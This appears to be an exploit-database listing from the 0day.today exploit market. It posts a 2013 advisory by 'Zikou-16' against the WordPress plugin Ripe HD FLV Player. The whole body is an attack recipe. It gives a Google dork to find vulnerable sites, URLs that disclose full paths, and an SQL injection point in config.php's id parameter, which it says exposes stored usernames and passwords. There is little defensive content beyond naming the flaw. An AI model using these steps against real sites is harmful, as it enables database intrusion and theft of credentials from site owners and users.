[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Wordpress plugin Ripe HD FLV Player SQL Injection Vulnerability

Author
Zikou-16
Risk
[
Security Risk High
]
0day-ID
0day-ID-20199
Category
web applications
Date add
19-01-2013
Platform
php
-------------------------------------------------------------------
Wordpress plugins - ripe-hd-player FD/SQL Injection Vulnerability
-------------------------------------------------------------------
# Vendor: http://www.hitasoft.com/products.php
#####
# Author => Zikou-16
# E-mail => zikou16x@gmail.com
# Facebook => http://fb.me/Zikou.se
# Google Dork => inurl:"/wp-content/plugins/ripe-hd-player/"
# Tested on : Windows 7 , Backtrack 5r3
####
  
#=> Exploit Info :
------------------
# The attacker can access to the database & get username & password ....... &  disclosure the Full Path
------------------
 
#=> Exploit :
------------------
1#=> Full Path Disclosure :
 
http://[target]/[path]/wp-content/plugins/ripe-hd-player/index.php
http://[target]/[path]/wp-content/plugins/ripe-hd-player/installer.php
 
-------
2#=> SQL Injection
 
http://[target]/[path]/wp-content/plugins/ripe-hd-player/config.php?id=2'[inj3ct h3re]
 
------------------------------ <= Th3 End ^_^'

#  0day.today [2024-09-28]  #